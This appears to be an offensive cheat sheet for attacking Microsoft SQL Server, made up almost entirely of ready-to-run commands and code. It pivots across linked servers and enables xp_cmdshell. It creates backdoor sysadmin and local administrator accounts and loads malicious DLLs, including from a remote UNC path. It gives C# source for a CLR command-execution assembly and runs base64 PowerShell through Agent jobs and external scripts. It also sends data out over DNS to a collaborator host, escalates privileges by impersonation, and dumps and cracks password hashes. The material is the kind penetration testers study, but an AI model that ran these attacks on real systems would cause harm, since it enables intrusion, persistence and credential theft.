Dump common information from server to files

Invoke-SQLDumpInfo -Verbose -Instance SQLSERVER1\Instance1 -csv

Linked Database

select * from master..sysservers
-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');

-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')

-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')

-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results

Get-SQLInstanceDomain | Get-SQLServerLink -Verbose
select * from master..sysservers
Get-SQLServerLinkCrawl -Instance "<DBSERVERNAME\DBInstance>" -Verbose
select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')

Query Version of Linked Database

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DBSERVERNAME\DBInstance>`",'select @@version')" -Verbose

Execute Procedure on Linked Database

SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at "linked.database.local";
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local";
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";

Determine Names of Linked Databases

tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query.

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from sys.databases')" -Verbose

Determine All the Tables Names from a Selected Linked Database

The result is TableName which feeds into following query

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from <DatabaseNameFromPreviousCommand>.sys.tables')" -Verbose

Gather the Top 5 Columns from a Selected Linked Table

The results are ColumnName and ColumnValue which feed into following query

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand>')" -Verbose

Gather Entries from a Selected Linked Column

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`"'select * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=<ColumnValueFromPreviousCommand>')" -Verbose

Command Execution via xp_cmdshell

xp_cmdshell disabled by default since SQL Server 2005

PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command whoami

# Creates and adds local user backup to the local administrators group:
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net user backup Password1234 /add'" -Verbose
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net localgroup administrators backup /add" -Verbose
  • Manually execute the SQL query
    EXEC xp_cmdshell "net user";
    EXEC master..xp_cmdshell 'whoami'
    EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
    EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
    
  • If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
    EXEC sp_configure 'show advanced options',1;
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell',1;
    RECONFIGURE;
    
  • If the procedure was uninstalled
    sp_addextendedproc 'xp_cmdshell','xplog70.dll'
    

Extended Stored Procedure

Add the extended stored procedure and list extended stored procedures

# Create evil DLL
Create-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test

# Load the DLL and call xp_test
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'"
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "EXEC xp_test"

# Listing existing
Get-SQLStoredProcedureXP -Instance "<DBSERVERNAME\DBInstance>" -Verbose
  • Build a DLL using xp_evil_template.cpp
  • Load the DLL
    -- can also be loaded from UNC path or Webdav
    sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll'
    EXEC xp_calc
    sp_dropextendedproc 'xp_calc'
    

CLR Assemblies

Prerequisites:

  • sysadmin privileges
  • CREATE ASSEMBLY permission (or)
  • ALTER ASSEMBLY permission (or)

The execution takes place with privileges of the service account.

Execute commands using CLR assembly

# Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop

# Execute command using CLR assembly
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64>" -Verbose

# List all the stored procedures added using CLR
Get-SQLStoredProcedureCLR -Instance <instance> -Verbose

Manually creating a CLR DLL and importing it

Create a C# DLL file with the following content, with the command : C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        // Create the record and specify the metadata for the columns.
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
        
        // Mark the beginning of the result set.
        SqlContext.Pipe.SendResultsStart(record);

        // Set values for each column in the row
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());

        // Send the row back to the client.
        SqlContext.Pipe.SendResultsRow(record);
        
        // Mark the end of the result set.
        SqlContext.Pipe.SendResultsEnd();
        
        proc.WaitForExit();
        proc.Close();
    }
};

Then follow these instructions:

  1. Enable show advanced options on the server
    sp_configure 'show advanced options',1; 
    RECONFIGURE
    GO
    
  2. Enable CLR on the server
    sp_configure 'clr enabled',1
    RECONFIGURE
    GO
    
  3. Import the assembly
    CREATE ASSEMBLY my_assembly
    FROM 'c:\temp\cmd_exec.dll'
    WITH PERMISSION_SET = UNSAFE;
    
  4. Link the assembly to a stored procedure
    CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
    GO
    
  5. Execute and clean
    cmd_exec "whoami"
    DROP PROCEDURE cmd_exec
    DROP ASSEMBLY my_assembly
    

CREATE ASSEMBLY will also accept an hexadecimal string representation of a CLR DLL

CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM 
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE 
GO 

OLE Automation

  • ⚠️ Disabled by default
  • The execution takes place with privileges of the service account.

Execute commands using OLE automation procedures

Invoke-SQLOSCmdOle -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
# Enable OLE Automation
EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure

Agent Jobs

  • The execution takes place with privileges of the SQL Server Agent service account if a proxy account is not configured.
  • ⚠️ Require sysadmin or SQLAgentUserRole, SQLAgentReaderRole, and SQLAgentOperatorRole roles to create a job.

Execute commands through SQL Agent Job service

Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell e <base64encodedscript>" -Verbose
Subsystem Options:
Subsystem CmdExec
-SubSystem PowerShell
Subsystem VBScript

USE msdb; 
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1'; 
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'$name=$env:COMPUTERNAME[10];nslookup "$name.redacted.burpcollaborator.net"', @retry_attempts = 1, @retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; 
EXEC dbo.sp_start_job N'test_powershell_job1';

-- delete
EXEC dbo.sp_delete_job @job_name = N'test_powershell_job1';

List All Jobs

SELECT job_id, [name] FROM msdb.dbo.sysjobs;
SELECT job.job_id, notify_level_email, name, enabled, description, step_name, command, server, database_name FROM msdb.dbo.sysjobs job INNER JOIN msdb.dbo.sysjobsteps steps ON job.job_id = steps.job_id
Get-SQLAgentJob -Instance "<DBSERVERNAME\DBInstance>" -username sa -Password Password1234 -Verbose

External Scripts

⚠️ You need to enable external scripts.

sp_configure 'external scripts enabled', 1;
RECONFIGURE;

Python:

Invoke-SQLOSCmdPython -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose

EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

R

Invoke-SQLOSCmdR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose

EXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO

@script=N'OutputDataSet <-data.frame(shell("dir",intern=T))'

Audit Checks

Find and exploit impersonation opportunities

  • Impersonate as: EXECUTE AS LOGIN = 'sa'
  • Impersonate dbo with DB_OWNER
    SQL> select is_member('db_owner');
    SQL> execute as user = 'dbo'
    SQL> SELECT is_srvrolemember('sysadmin')
    
Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose

# impersonate sa account
powerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug

Find databases that have been configured as trustworthy

Invoke-SQLAuditPrivTrustworthy -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose 

SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases

The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound.

Invoke-SQLAuditPrivXpDirtree
Invoke-SQLUncPathInjection

MSSQL Accounts and Hashes

MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)

MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins

Then crack passwords using Hashcat : hashcat -m 1731 -a 0 mssql_hashes_hashcat.txt /usr/share/wordlists/rockyou.txt --force
